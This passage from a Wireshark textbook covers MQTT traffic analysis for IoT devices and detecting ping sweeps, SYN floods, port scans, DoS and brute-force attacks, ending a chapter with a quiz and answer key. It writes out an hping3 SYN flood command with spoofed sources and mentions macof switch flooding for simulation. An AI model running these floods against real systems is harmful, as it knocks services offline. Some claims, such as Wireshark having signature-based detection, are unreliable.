Personal  medical  devices:  Personal  medical  devices  are IoT  devices  that  can  monitor  or  treat  various  health conditions,  such  as  pacemakers,  insulin  pumps,  or  glucose meters.  They  can  communicate  with  other  devices  (like smartphones)  or  healthcare  providers  to  share  vital  signs or alert for emergencies. Network sniffing can help ensure

the  reliability  and  security  of  these  devices,  as  well  as identify any potential vulnerabilities or threats.

Autonomous  vehicles:  Autonomous  vehicles  are  IoT devices  that  can  drive  themselves  without  human intervention,  using  sensors,  cameras,  and  GPS  to  navigate their  surroundings.  They  can  communicate  with  other vehicles  or  infrastructure  to  exchange  information  or coordinate  actions.  Network  sniffing  can  help  evaluate  the performance and safety of these vehicles, as well as detect any malicious attacks or interference.

These are just some examples of IoT devices or scenarios where network sniffing can be helpful or informative. There are many more applications and use cases for network analysis in the IoT domain.

 

Sniffing traffic of IoT devices

Sniffing network traffic from IoT devices using Wireshark is possible and can provide valuable insights into the communication protocols, and data exchanged between the devices and their respective servers.

The steps on how you can sniff IoT device traffic using Wireshark are mentioned as follows:

1. Set  up  your  network  environment:  Ensure  that  your

computer  running  Wireshark  is  connected  to  the  same

network as the IoT devices you want to monitor. This could

be a local Wi-Fi network or a LAN.

2. Start  capturing  packets: Once  you  have  selected  the

appropriate  network  interface,  click  the  "Start"  button  in

Wireshark to begin capturing packets. By default, Wireshark

captures all network traffic on the selected interface.

3. Filter  packets:  Since  IoT  devices  can  generate  a  large

volume  of  network  traffic,  it  is  helpful  to  apply  filters  in

Wireshark to focus on the specific devices or protocols you

are  interested  in.  You  can  use  display  filters,  such  as  IP

addresses or specific protocols like MQTT or CoAP, to narrow

down the captured packets, as shown in Figure 10.2:
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Figure 10.2: Filtered network traffic

4. Analyze captured packets:  Once  you  have  captured  the

desired  packets,  you  can  analyze  them  using  Wireshark's

various  features.  You  can  inspect  the  packet  details,  view

protocol-specific information, extract data payloads, or even

follow    TCP    streams    for    a    more    comprehensive

understanding of the communication.

5. Interpret the results: Analyzing the captured packets can

provide  insights  into  the  communication  patterns,  data

formats,  and  security  aspects  of  the  IoT  devices.  You  can

look  for  patterns,  anomalies,  or  potential  vulnerabilities  in

the traffic to gain a better understanding of how the devices

operate.

 

Analyzing traffic of IoT devices

Wireshark helps us to capture and analyze the data packets that are sent and received by the IoT devices over a network. One of the common ways that IoT devices exchange data is by using a protocol called Message Queue Telemetry Transport (MQTT), which is a lightweight and efficient protocol that works on top of the TCP transport protocol, and uses a publish-subscribe model of communication.

In this model, IoT devices can either publish data to a topic, which is a label that identifies the type of data, or subscribe to a topic, which means they want to receive data from that topic. For example, a temperature sensor can publish data to a topic called temp, and a smart thermostat can subscribe to that topic to adjust the heating or cooling system accordingly.

To coordinate the communication between publishers and subscribers, MQTT uses a central component called a MQTT Broker, which acts as a hub that receives all the published messages and distributes them to the subscribers who are interested in them. The MQTT Broker also manages the connections and subscriptions of the IoT devices, and ensures that the messages are delivered reliably.

There are two ways that IoT devices can implement MQTT: MQTT Direct and MQTT over Websockets. MQTT Direct is the simplest way, where the devices connect directly to the MQTT Broker using TCP sockets. MQTT over Websockets is another way, where the devices connect to the MQTT Broker using Websockets, which are a protocol that allows bidirectional communication over HTTP. This way can be more secure, because it can use certificates to authenticate the connection, and also more compatible with some corporate networks that have strict firewalls that block other protocols.

In this experiment, we will focus on using MQTT Direct to analyze the traffic of IoT devices using Wireshark.

 

MQTT Direct

In MQTT Direct, there is an MQTT Broker that listens on port 1883. The subscribers in this network consist of all IoT devices connected to it, as well as servers that may be listening for messages for logging or reporting purposes.

When a device wants to subscribe to the broker, it provides its Client ID and specifies the Topic it wishes to listen to. Optionally, the device can also authenticate itself using a username and password. Similarly, a publisher connects to the broker using its Client ID and specifies the Topic to which it wants to publish the message. The topic can be considered a channel that helps organize the messages exchanged within the network.

Understanding the MQTT communication

MQTT Direct is a method of using the MQTT protocol where the MQTT clients communicate directly with the MQTT broker using TCP sockets on port 1883. The MQTT clients are any IoT devices or servers that want to share data or messages with each other. The MQTT broker is a central component that manages the communication between the clients and ensures the delivery of messages.

To use MQTT Direct, the clients need to do some steps:

First,  they  need  to  send  a connect  command  to  the  broker, which  has  their  client  ID  and,  optionally,  their  username and  password  for  authentication.  The  client  ID  is  a  unique identifier  that  distinguishes  each  client  from  others.  The broker will reply with a “connack” message to confirm  the connection.

Second,  they  need  to  send  a “subscribe  request”  to  the broker,  which  says  the  topic(s)  they  want  to  subscribe  to and the quality of service (QoS) level they want for each topic. The topic is a label that identifies the type of data or message, and the QoS level decides how many times and in what  order  the  messages  are  delivered.  The  broker  will reply  with  a  “suback”  message  to  agree  to  the subscription.

Third, they can send or get “publish” messages to or from the broker, which has the data or message payload and the topic  it  belongs  to.  The  broker  will  send  the  published messages to all the clients that are subscribed to that topic, according  to  their  QoS  level.  The  broker  may  also  send “puback”, “pubrec”, “pubrel” or “pubcomp” messages to acknowledge or ask for retransmission of publish messages, depending on the QoS level.

To show how MQTT Direct works, let us look at an example of an IoT heater that talks with its manufacturer’s server using Wireshark. This tool captures and analyzes network traffic.

Connect command The first packet in Wireshark is the connect command the heater sends to the broker. We can see that it has a client ID of paho/34AAE54A75D839566E, which means it is using a library called

Paho for MQTT communication, as can be seen in Figure 10.3:
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Figure 10.3: Connect command

Subscribe request

The next packet we see is the subscribe request sent by the heater to the broker. We can see that it wants to subscribe to a

topic called “SampleTopic” with a QoS level of 0, as shown in Figure

10.4. It means it only wants one delivery of each message without any acknowledgment from the broker.
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Figure 10.4: Subscribe request

Publish message

The last packet we see is the publish message sent by the broker to the heater. We can see that it has a topic of Sampletopic and a payload of “Hello from the Paho blocking client”, as can be

seen in the Figure 10.5, which means it is a message from another client using Paho that is also subscribed to that topic.
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Figure 10.5: Publish message

This example shows us how the heater connects to its manufacturer’s server, subscribes to a topic for getting commands and data, and gets a message from another client using MQTT Direct. This helps us understand how IoT devices use MQTT protocol for effective and reliable communication.

 

Conclusion

In this chapter, we have learned about the concept and features of IoT devices and their communication protocols. We also understood some use cases for network sniffing IoT devices in different domains and scenarios. Moreover, we have learned how to use Wireshark to capture and analyze the traffic of IoT devices. We have focused on one of the common communication protocols IoT devices use: MQTT Direct. We have also learned how to use Wireshark to interpret and visualize the traffic data of IoT devices.

In the next chapter, we will focus on how to use Wireshark to detect network attacks. We will introduce some common types of network attacks and show how to use Wireshark to identify and handle them. By the end of the next chapter, you will be able to use Wireshark to monitor your network traffic and spot any suspicious or malicious behavior.

 

Questions

1. What does IoT stand for?

a) Internet of Things

b) Internet of Technology

c) Internet of Transactions

d) Internet of Telecommunications

2. What  are  the  major  components  of  the  IoT

ecosystem?

a) Devices, sensors, actuators, controllers, and interfaces

b) Devices, servers, databases, analytics, and dashboards

c) Devices, protocols, standards, frameworks, and policies

d)  Devices,  gateways,  networks,  platforms,  applications,

and users

3. What is the IoT architecture?

a)  A  graphical  representation  that  shows  the  physical

layout and connections of the IoT components

b)  A  logical  design  that  defines  the  data  flow  and

processing of the IoT components

c)  A  layered  model  that  describes  the  functions  and

interactions of the IoT components

d)  A  hierarchical  structure  that  organizes  the  IoT

components into groups and subgroups

4. How does IoT work?

a)  By  encrypting,  compressing,  storing,  retrieving,  and

deleting data from IoT devices

b) By  collecting,  transmitting,  processing,  analyzing,  and

acting on data from IoT devices

c)  By  generating,  broadcasting,  receiving,  filtering,  and

displaying data from IoT devices

d)  By  validating,  verifying,  authenticating,  authorizing,

and auditing data from IoT devices

5. What are some benefits of IoT?

a) Efficiency, convenience, innovation, and value creation

b) Security, privacy, reliability, and scalability

c) Diversity, inclusivity, accessibility, and affordability

d) Quality, quantity, variety, and availability

6. What are some use cases for network sniffing of IoT

devices?

a)  Smart  homes,  smart  cities,  healthcare,  agriculture,

industry, and transportation

b)  Gaming,  entertainment,  education,  social  media,  e-

commerce, and banking

c)  Weather,  climate,  environment,  energy,  disaster

management, and emergency response

d) All of the above

7. What is network sniffing?

a)  A  method  to  monitor  and  control  the  network  traffic

and bandwidth used by devices over a network.

b)  A  process  to  scan  and  detect  the  network

vulnerabilities  and  threats  posed  by  devices  over  a

network.

c)  A  tool  to  configure  and  manage  the  network  settings

and preferences applied to devices over a network.

d) A  technique  to  capture  and  analyze  the  data  packets

sent and received by devices over a network.

8. What is Wireshark?

a)  A  network  simulation  tool  that  can  create  and  test

different scenarios of network traffic.

b)  A  network  visualization  tool  that  can  generate  and

show graphs and charts of network traffic.

c)  A  network  analysis  tool  that  can  capture  and  display

the data packets of network traffic.

d)  A  network  optimization  tool  that  can  improve  and

enhance the performance and quality of network traffic.

9. What is MQTT Direct?

a)  A  way  of  using  the  MQTT  protocol  where  the  IoT

devices  connect  directly  to  the  MQTT  broker  using  TCP sockets on port 1883.

b)  A  way  of  using  the  MQTT  protocol  where  the  IoT

devices  connect  to  the  MQTT  broker  using  Websockets on port 80 or 443.

c)  A  way  of  using  the  MQTT  protocol  where  the  IoT

devices  connect  to  each  other  without  using  an  MQTT broker on any port.

d)  A  way  of  using  the  MQTT  protocol  where  the  IoT

devices connect to a cloud service that acts as a MQTT broker on any port.

10. What    is    the    publish-subscribe    model    of

communication in MQTT?

a)  A  model  where  IoT  devices  can  either  request  data

from a topic or respond to a topic with data for it.

b) A model where IoT devices can either publish data to a

topic or subscribe to a topic to receive data from it.

c) A  model  where  IoT  devices  can  either  send  data  to  a

topic or receive data from a topic in a sequential order.

d) A  model  where  IoT  devices  can  either  broadcast  data

to a topic or listen to a topic for data from it.

 

Answers

1. a

2. d

3. c

4. b

5. a

6. d

7. d

8. c

9. a

10. b
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CHAPTER 11

 

Detecting Network Attacks

with Wireshark

 

Introduction

In the ever-evolving landscape of cybersecurity, the ability to detect and prevent network attacks is paramount. This chapter explores the utilization of Wireshark, a powerful network protocol analyzer, for detecting various network attacks.

In this chapter, we will learn how to use Wireshark to detect common network attacks, such as port scanning, denial-of-service, brute-force, application, ARP poisoning, session hijacking, Honeypot, and Heartbleed attacks. We will also learn how to interpret the captured packets and identify the indicators of compromise (IoCs) for each attack. By the end of this chapter, you will use Wireshark to monitor your network traffic and spot any suspicious or malicious behavior.

 

Structure

In this chapter, we will discuss the following topics:

Detecting suspicious network traffic patterns

Detecting port scanning

Detecting Denial of Service and Distributed Denial of Service attacks

Detecting Brute-force and application attacks

Detecting ARP poisoning

Detecting session hijacking

Detecting honeypot traffic

Detecting Heartbleed bug

Challenges/limitations  of  analysis  of  network  attacks  using Wireshark

 

Objectives

The objective of this chapter is to teach you how to use Wireshark, a network protocol analyzer, to detect and analyze various network attacks that can compromise the security and performance of your network. For example, you will learn how to use Wireshark to detect a port scanning attack, which is a reconnaissance technique used by attackers to discover the open ports and services on a target system.

You will learn how to capture and filter network traffic and how to identify the signs and patterns of different types of attacks, such as reconnaissance, denial-of-service, brute-force, application, ARP poisoning, session hijacking, Honeypot, and Heartbleed attacks. You will also learn how to interpret the information and metadata of the captured packets and how to use them as evidence for further investigation and mitigation.

Through practical examples and hands-on exercises, this chapter will empower readers to utilize Wireshark effectively for detecting and investigating a wide range of network attacks, enhancing their network security posture.

 

Detecting suspicious network traffic patterns

In today's interconnected world, network traffic serves as the lifeblood of modern enterprises, facilitating seamless communication and information exchange. However, amidst the seamless flow of data, adversaries tirelessly seek to exploit vulnerabilities and compromise the integrity of networks. Suspicious network traffic patterns, a manifestation of potential security breaches, can indicate malicious activities such as intrusion attempts, malware propagation, data exfiltration, or unauthorized access.

 

Understanding suspicious network traffic patterns

Suspicious network traffic patterns refer to anomalous and aberrant communication patterns that deviate from normal network behavior. These patterns may arise due to various factors, including unusual traffic volume, unauthorized access attempts, communication with known malicious entities, abnormal data transfers, or protocol violations. Their detection is pivotal in identifying potential threats and fortifying network defenses.

Network traffic patterns are the characteristics and behaviors of network packets that flow between hosts or devices on a network. They can reveal information about the network performance, efficiency, security, and functionality. However, not all network traffic patterns are normal or benign. Some network traffic patterns may indicate suspicious or malicious activity, such as network scans, attacks, infections, or ex-filtrations. These are called suspicious network traffic patterns, and they can pose a serious threat to the network integrity, availability, and confidentiality.

To detect and analyze suspicious network traffic patterns, network administrators need a powerful and versatile tool that can capture, filter, and inspect packets in real time. Wireshark employs a myriad of sophisticated techniques to detect suspicious network traffic patterns. These techniques include:

Protocol anomaly detection:  Wireshark  leverages  its  deep understanding  of  network  protocols  to  identify  anomalies, such as unusual packet structures or non-compliant behavior, which may indicate the presence of malicious activities.

Traffic  pattern  analysis:  By  examining  the  characteristics of  network  traffic  flows,  Wireshark  can  detect  patterns  such as  frequent  port  scanning,  brute-force  login  attempts,  or excessive  data  transfers,  flagging  them  as  potentially suspicious.

Signature-based detection: Utilizing an extensive database of  known  malicious  signatures,  Wireshark  can  match

captured    packets    against    these    signatures,    thereby identifying known threats and providing early warning signs.

Behavior-based     heuristics:     Wireshark     employs sophisticated algorithms    to analyze traffic    behavior, establishing  baseline  patterns  and  detecting  deviations  from normal  network  operations.  Unusual  traffic  volumes,  sudden bursts of activity, or unexpected communication patterns are closely  monitored,  aiding  in  the  detection  of  suspicious activities.

Wireshark not only enables the detection of suspicious network traffic patterns but also facilitates proactive measures to mitigate potential threats. By identifying the source and destination of suspicious traffic, network administrators can take prompt action, such as blocking specific IP addresses, restricting access to critical resources, or implementing intrusion prevention systems to strengthen network security.

 

Detecting suspicious network traffic patterns using

Wireshark

Here are the steps you can follow to identify suspicious network traffic patterns using Wireshark:

1. Capture  network  traffic: Start  Wireshark  and  select  the

network  interface  through  which  you  want  to  capture  traffic.

Click  on  the "Capture"  button  to  begin  capturing  network

packets.

2. Filter relevant traffic: Apply filters to focus on the specific

network  traffic  you  want  to  analyze.  For  example,  you  might

want to filter by IP addresses, ports, or protocols. Using filters

allows  you  to  narrow  down  the  captured  traffic  to  relevant

packets.

3. Analyze packet details: Click on a captured packet to view

its details in the packet list pane. Wireshark provides various

fields  and  protocols  that  you  can  analyze  to  identify

suspicious  patterns.  Some  areas  to  look  for  include  source

and destination IP addresses, port numbers, protocol versions,

packet lengths, and any unusual or unexpected values.

4. Look  for  abnormal  behavior:  Keep  an  eye  out  for  any

abnormal behavior or deviations from expected patterns. For

example, large amounts of data being transferred to unusual

destinations, repeated failed login attempts or a high volume

of traffic from a particular source.

5. Identify  anomalies:  Look  for  patterns  that  might  indicate

suspicious  activity.  This  could  include  traffic  spikes,  unusual

communication patterns, unexpected protocols being used, or

excessive  network  scanning.  Pay  attention  to  any  traffic  that

stands out as uncommon or suspicious.

6. Use  Wireshark  features: Wireshark  offers  several  built-in

features  that  can  help  in  detecting  suspicious  patterns.  For

instance,  the "Follow  TCP  Stream"  feature  allows  you  to

reconstruct and analyse the entire conversation between two

hosts,  which  can  reveal  additional  insights.  The "Statistics"

menu  provides  various  tools  for  analyzing  packet  statistics,

flow analysis, and protocol hierarchy.

7. Leverage  additional  tools:  Wireshark  can  export  captured

packets  to  other  tools  for  further  analysis.  You  can  export

captured packets as a PCAP file and import them into Network

Intrusion    Detection    Systems   (IDS)    or    Security

Information and Event Management (SIEM)  solutions  for

more comprehensive analysis.

Here, let us analyze patterns and signatures of Ping sweeps, ARP sweeps, and SYN flood attacks.

Analyzing patterns and signatures of Ping sweeps

The ping sweep is useful to discover which IPs are dynamic in the system. Ping sweeps can be conducted using Internet Control Message Protocol (ICMP), Transmission Control Protocol (TCP), User Datagram Protocol (UDP) protocols, with ICMP being the most widely used method.

In an ICMP ping sweep, ICMP type 8 (echo request) packets are followed by ICMP type 0 (echo reply) packets. Alternatively, TCP/UDP ping sweeps utilize packets directed to TCP/UDP port 7, also known as the echo port. However, if the target host does not support the echo service, TCP/UDP ping sweeps will not be effective. Consequently, ICMP ping sweeps are generally preferred. Nevertheless, if there is a firewall in place, even ICMP ping sweeps may prove futile. In such cases, an ARP scan/ARP sweep can be employed, which will be discussed later.

To identify ICMP ping sweeps in Wireshark, apply a simple filter:

"icmp.type==8 or icmp.type==0", as shown in Figure 11.1. TCP ping sweeps can be detected using the filter "tcp.dstport==7", while the filter "udp.dstport==7" can be used for UDP ping sweeps. If, after applying these filters, more packets are observed than expected, it may indicate the occurrence of a ping sweep within the system. However, caution should be exercised in interpreting the volume of such traffic, as it could be ordinary ping traffic. Consider it as a potential red flag only if an unexpected surge in ICMP traffic is observed.

[image: ]

 

Figure 11.1: Detection of ICMP Ping sweeps patterns

Analyzing patterns and signatures of ARP sweeps

As mentioned, when a firewall is put in place, and ICMP is blocked, the ICMP ping sweep becomes unavailable. In this scenario, an alternative method known as an ARP scan is utilized to identify dynamic IPs within the system. In this process, the attacker sends ARP broadcasts for all possible IPs within the chosen subnet. If an ARP response is received, it indicates that the IP is active. The advantage of this scan is that ARP communication cannot be filtered or disabled, as it is essential for all TCP/IP communication. Blocking or disabling ARP communication would disrupt TCP/IP communication or require static ARP entries. However, a limitation of this scan is that it cannot traverse layer-three devices. This type of scan can be easily detected using the "arp" filter. If a significant

number of ARP queries are observed, as shown in Figure 11.2, it serves as an indication of an ARP scan or ARP sweep taking place:
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Figure 11.2: Detection of ARP Sweep pattern

Analyzing patterns and signatures of SYN flood attacks

In an SYN flood, the assailant sends a high volume of SYN packets to the server utilizing spoofed IP addresses making the server send a reply SYN+ACK and leave its ports half-open, anticipating a reply from a host that does not exist. In a more straightforward, direct attack, without IP spoofing, the assailant will utilize firewall standards to dispose of SYN+ACK packets before they reach him. A Denial-of-Service (DoS) can be achieved effortlessly by overwhelming a target with SYN packets and intentionally ignoring ACK responses. In this state, the target struggles to handle the excessive traffic, resulting in heightened CPU and memory usage that eventually depletes its resources. Consequently, the server becomes unable to cater to legitimate client requests, ultimately causing a DoS situation.

In most cases, attackers use the “hping3” tool to spoof IP random addresses.

Note: hping3 is a network utility that can send custom TCP/IP packets and perform a SYN flood attack, which is a type of DoS attack that exploits the TCP protocol 3-way handshake by sending a large number of SYN packets with spoofed IP addresses to the target server, exhausting its resources and preventing legitimate connections.

 

The command below lets us start and direct the SYN flood attack to

our target 192.168.1.8 on port 80, as seen in Figure 11.3: $ hping3 192.168.1.8 -S -p 80 --rand-source --flood

The options used in this command are:

-S: Set the SYN flag in the TCP header

-p 80: Specify the destination port number

--rand-source: Use random source IP addresses

--flood:  Send  packets  as  fast  as  possible  without  waiting  for replies
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Figure 11.3: SYN flood attack using hping3

SYN flood assaults are simple to recognize once you realize what you are searching for. As you would expect, a significant giveaway is the vast amount of SYN packets being sent to our target device.

Administrators should immediately be able to detect the onset of the attack through a significant influx of TCP traffic. To identify SYN packets without confirmation, we can employ the filter:

"tcp.flags.syn == 1 and tcp.flags.ack == 0", as illustrated in Figure

11.4. The filter can be employed to specifically isolate these SYN packets. By monitoring the network for a significant increase in such packets, administrators can promptly identify the onset of a SYN flood attack, enabling them to take countermeasures to mitigate the attack.
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Figure 11.4: Filtered SYN packets

It is essential for organizations to implement robust security measures such as firewalls, intrusion detection and prevention systems, and rate-limiting mechanisms to mitigate the impact of SYN flood attacks. Regularly updating firewall rules, employing network traffic analysis, and utilizing intrusion detection systems can significantly enhance a network's resilience against these types of attacks. Additionally, educating staff about the risks associated with opening suspicious attachments or clicking on unknown links in emails can prevent attackers from gaining unauthorized access to internal systems and launching SYN flood attacks.

 

Detecting port scanning

In the field of cybersecurity, port scanning (reconnaissance) is a common technique used by malicious actors during the reconnaissance phase of an attack. Port scanning is a typical activity during the reconnaissance phase of a cyber-attack. It involves systematically scanning a target system's network ports to identify which ones are open, closed, or filtered. This information helps attackers gather valuable intelligence about the target, such as potential vulnerabilities, services running on specific ports, and the overall network architecture. However, by leveraging powerful network analysis tools like Wireshark, network administrators, and security professionals can effectively detect and respond to port scanning activities, fortifying their systems against potential attacks.

 

Understanding port scanning

Ports are like virtual gates through which network services communicate. Each port is associated with a unique number, ranging from 1 to 65,535, and is dedicated to a specific service or protocol. Port numbers from 0 to 1023 are reserved for common TCP/IP applications and are called well-known ports. For example, HTTP commonly uses port 80, while Secure Shell (SSH) uses port 22. By performing port scanning, an attacker can identify the open ports on a target system, allowing them to assess potential vulnerabilities and plan further exploits.

The most important objective of port scanning is to identify open and closed ports, and to gather OS details of the target system. Port scanning can reveal information such as:

Services that are running

Whether anonymous logins are allowed

The network services requiring authentication

Port scanning can also be used to identify vulnerabilities or weaknesses in the network configuration or security policies that can be exploited by attackers. For example, port scanning can detect:

Network  scans,  which  are  attempts  to  discover  hosts, services or devices on a network

Malformed  packets,  which  are  packets  that  have  invalid  or unusual values in their headers or payloads

Unusual protocols, applications, or conversations that should not be running on the network

 

Detecting port scanning using Wireshark Here are some steps you can follow to identify port scanning activities using Wireshark:

1. Capture  network  traffic:  Start  capturing  network  traffic  in

Wireshark by selecting the appropriate network interface.

2. Apply a filter: Apply a filter to capture packets related to the

specific IP address or range you want to monitor. For example,

you  can  use  a  filter  like "ip.addr  ==  x.x.x.x"  to  capture

traffic for a specific IP address, as illustrated in Figure 11.5:
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Figure 11.5: IP based filtered packets

3. Look for SYN packets: Port scanning often involves sending

a series of TCP SYN packets to various ports on a target host.

Look  for  packets  with  the  SYN  flag  set  in  the  TCP  header.  To

exclusively  display  SYN  packets,  you  can  utilize  the  filter

"tcp.flags.syn == 1", as shown in Figure 11.6:
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Figure 11.6: SYN packets

4. Identify rapid packet sequences: Port scanners often send

packets rapidly to scan multiple ports. Look for a high number

of packets being sent to different ports within a short period.

Analyze the packet timings to identify patterns of rapid packet

sequences.

5. Inspect  packet  timing:  Port  scanning  tools  often  have

specific  timing  patterns.  Analyze  the  time  intervals  between

packets to identify any regular or repetitive timings that might

indicate a scanning activity.

6. Look  for  source  IP  addresses:  If  you  observe  multiple

packets  with  the  same  source  IP  address  scanning  different

ports, it could indicate a port scanning activity.

Here, let us analyze patterns and signatures of TCP full connect scans.

Analyzing patterns and signatures of TCP full connect scans

In this scan, the attacker will execute a complete three-way handshake to determine if a port is open or closed. The attacker will send a SYN packet to the target port. If the port is open, the attacker will receive a SYN+ACK packet, whereas if the port is closed, RST+ACK packets will be received. Upon receiving the SYN+ACK, the attacker will respond with an ACK packet, attempting to establish a TCP session and terminate it.

To get SYN, SYN+ACK, RST, and RST+ACK packets, use “tcp.flags==0x012 or tcp.flags==0x002 or tcp.flags==0x004 or

tcp.flags==0x014” filter, as demonstrated in Figure 11.7:
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Figure 11.7: SYN, SYN+ACK, RST and RST+ACK filtered packets

These packets provide valuable information about open and closed ports, successful session establishment, and potential security vulnerabilities in the target system. Network administrators can leverage this analysis to enhance their network security and protect against potential threats.

Note: It is important to note that the detection of port scanning alone does not always indicate malicious intent. There are legitimate tools and network monitoring systems that may engage in similar activities. Therefore, it is crucial to evaluate the context and cross-reference with other security measures to make a precise assessment.

 

Detecting Denial of Service and Distributed Denial of

Service attacks

Distributed Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks are cyberattacks that aim to disrupt or deny the normal functioning of a system, service, or network by overwhelming it with a large amount of traffic or requests. Wireshark can detect and analyze DoS and DDoS attacks by monitoring the network traffic and looking for signs of abnormal or malicious activity.

 

Understanding DoS and DDoS attacks

DoS attacks involve flooding a target system or network with a high volume of illegitimate requests, consuming system resources, and making legitimate user requests unresponsive. These attacks typically originate from a single source or a small number of sources, exploiting vulnerabilities in network services, protocols, or application layers. DoS attacks can disrupt services, impair network performance, and cause financial losses to organizations.

DDoS attacks are similar to DoS attacks but employ multiple compromised devices distributed across different locations. These devices, often part of a botnet, simultaneously send malicious traffic to overwhelm the target system's resources. DDoS attacks are more challenging to mitigate since they involve a large-scale coordinated effort, making it difficult to differentiate between legitimate and malicious traffic.

 

Detecting DoS and DDoS attacks using Wireshark

Wireshark may not prevent or mitigate attacks directly; it can provide valuable insights into network traffic patterns and anomalies that may indicate the presence of such attacks. Here are a few techniques you can use with Wireshark to detect DoS and DDoS attacks:

1. Traffic volume analysis: Monitor the overall network traffic

volume and compare it against normal levels.

Note: Normal network traffic levels are the average or expected amount of data that flows through a network under normal conditions. Normal levels can vary depending on the type, size, and purpose of the network, as well as the number and behavior of the users and applications. This baseline is established by observing network behavior during typical usage patterns, which can vary based on factors such as time of day, day of the week, or organizational activities.

 

Sudden  spikes  in  traffic,  especially  if  they  are  focused  on  a

particular target, can indicate a potential DoS or DDoS attack.

Use  the  statistics  and  graphical  features  in  Wireshark  to

analyze traffic patterns over time. To view traffic statistics, go

to "Statistics" in the menu bar and select the desired option.

For  example, "Summary" provides  an  overview  of  captured

packets, "Conversations"  shows  statistics  based  on  source

and  destination  IP  addresses,  as  shown  in Figure  11.8,  and

"Endpoints"  provides  information  about  the  endpoints

involved in the communication.
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Figure 11.8: Traffic volume analysis

2. Protocol  anomalies:  Wireshark  enables  the  detection  of

unusual or unexpected behavior within network protocols. For

instance,  an  excessive  flood  of  ICMP  Echo  Request  (ping)

packets sent to a specific IP address could be an indication of

a  DoS  attack.  By  examining  packet  headers  and  payloads,

Wireshark  can  help  identify  anomalies  or  patterns  that

deviate from normal traffic behavior.

3. IP  spoofing  detection:  DDoS  attacks  often  employ  IP

spoofing,  where  the  attacker  manipulates  the  source  IP

address  to  conceal  their  identity.  Wireshark  can  assist  in

detecting  IP  spoofing  by  identifying  inconsistencies  in  IP

addresses.  For  example,  packets  originating  from  the  same

source IP but displaying different MAC addresses may suggest

IP spoofing.

4. SYN flood detection: SYN flood attacks are a common form

of  DoS  attack  that  exploit  the  TCP  three-way  handshake.

Wireshark provides display filters that allow the identification

of  a  high  number  of  SYN  packets  without  corresponding  ACK

packets, which may indicate an SYN flood attack. An example

of such a filter is "tcp.flags.syn == 1 and tcp.flags.ack == 0", as

seen in Figure 11.9:
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Figure 11.9: SYN flood detection

Here, let us analyze patterns and signatures of DoS attacks.

Analyzing patterns and signatures of DoS attacks

A DoS attack aims to disrupt or deny access to a targeted asset, such as a website, network, or email service, by overwhelming it with a high volume of requests or exploiting vulnerabilities to make it unresponsive or slow. The attack is typically carried out by flooding the target with an excessive number of requests simultaneously, causing the server to fail in processing and responding to all the requests. This can result in server crashes or significant slowdowns.

To analyze the pattern of a DoS attack in your network, it is important to simulate it. One tool that can be used for this purpose is "macof", which is part of the Dsniff suite. Macof is commonly used to flood a local network switch with a large number of

randomly generated MAC addresses, as presented in Figure 11.10:
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Figure 11.10: DoS attack simulation using Macof

 

After performing the DoS attack simulation, you can analyze the patterns of the captured packets using Wireshark. By examining the packet data, you may observe a particular device consistently sending requests to another device with the same data length. This type of traffic pattern is often indicative of a typical DoS attack on

the network, as depicted in Figure 11.11:

[image: ]

 

Figure 11.11: Witnessing DoS attack

Note: It is crucial to note that Wireshark provides visibility into network traffic and allows for the analysis of packet-level details. To effectively mitigate and prevent such attacks, it is essential to have appropriate network security measures in place, such as firewalls, intrusion detection systems, and rate limiters. These measures can help identify and block suspicious traffic patterns and protect the network from potential DoS and DDoS attacks.

 

Detecting Brute-force and application attacks

Brute-force and application attacks are types of cyberattacks that aim to gain unauthorized access to a system, service, or network by trying different combinations of usernames, passwords, keys, or other credentials. Brute-force and application attacks can be used to steal information, infect systems with malware, or disrupt services. To effectively detect and respond to these attacks, network administrators and security professionals can leverage network analysis tools like Wireshark. We can detect and analyze Brute-force and application attacks by monitoring the network traffic and looking for signs of abnormal or malicious activity.

 

Understanding Brute-force and application attacks

Brute-force attacks involve an attacker made a considerably large number of attempts in a very small time interval (of the order of seconds) by systematically attempting various combinations of usernames and passwords to gain unauthorized access to a target system, application, or service. These attacks rely on the assumption that weak or commonly used credentials are more likely to be successful. Brute-force attacks can exploit vulnerabilities in login mechanisms, such as weak password policies, lack of account lockouts, or absence of intrusion detection mechanisms.

Application attacks, on the other hand, exploit vulnerabilities in software applications to gain unauthorized access or manipulate the application's functionality. These attacks target application-specific weaknesses, such as SQL injection, cross-site scripting (XSS), buffer overflows, or remote code execution. Application attacks can result in data breaches, unauthorized data modifications, or disruption of application functionality.

Detecting Brute-force and application attacks using

Wireshark

Here are a few steps you can take to detect brute-force and application attacks using Wireshark:

1. Capture  network  traffic:  Launch  Wireshark  and  start

capturing  network  traffic  on  the  interface  connected  to  the

network  segment  you  wish  to  monitor.  You  can  select  the

appropriate  interface  from  the  "Capture"  menu.  This  allows

Wireshark  to  collect  packets  flowing  through  the  network,  as

shown in Figure 11.12:
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Figure 11.12: Captured network packets

2. Filter  relevant  traffic:  To  focus  on  the  specific  traffic  you

want  to  analyze,  utilize  display  filters  in  Wireshark.  For

instance,  if  you  are  interested  in  HTTP  traffic,  you  can  use  a

filter like "tcp.port == 80" to display only the packets related to

HTTP communication, as depicted in Figure 11.13. This helps

narrow down the captured data to the desired protocol.
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Figure 11.13: Filtered (HTTP) traffic

3. Look  for  login  attempts:  Brute-force  attacks  typically

involve  repeated  login  attempts.  Look  for  packets  containing

login  requests  and  examine  if  there  are  multiple  login

attempts  originating  from  the  same  source  IP  address.  Pay

attention  to  patterns  of  failed  login  attempts,  such  as

consecutive requests with different usernames or passwords.

Using a filter like "http.request.method == POST" can help identify

HTTP  POST  requests,  which  often  include  login  attempts,  as

indicated in the Figure 11.14:
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Figure 11.14: HTTP post requests

4. Analyze  payload  contents:  Inspect  the  payload  of  the

captured  packets  to  identify  any  suspicious  or  malicious

content.  In  the  case  of  brute-force  attacks,  common

usernames  or  passwords  may  be  exposed  in  the  payload,  as

seen  in Figures  11.15  and Figure  11.16.  For  application

attacks,  the  payload  may  contain  specific  data  targeting

vulnerabilities  in  the  application.  Analyzing  the  payload  can

provide insights into the nature of the attack.
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Figure 11.15: Exposed username and password

Another  payload  exposing  username  and  password.  Refer  to

Figure 11.16:
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Figure 11.16: Exposed username and password

5. Cross-reference with server logs: To validate the detected

attacks, cross-reference the captured network traffic with the

logs  from  the  targeted  application  or  server.  This  step  helps

provide additional information and context about the attacks,

allowing  for  a  more  comprehensive  understanding  of  the

security incidents.

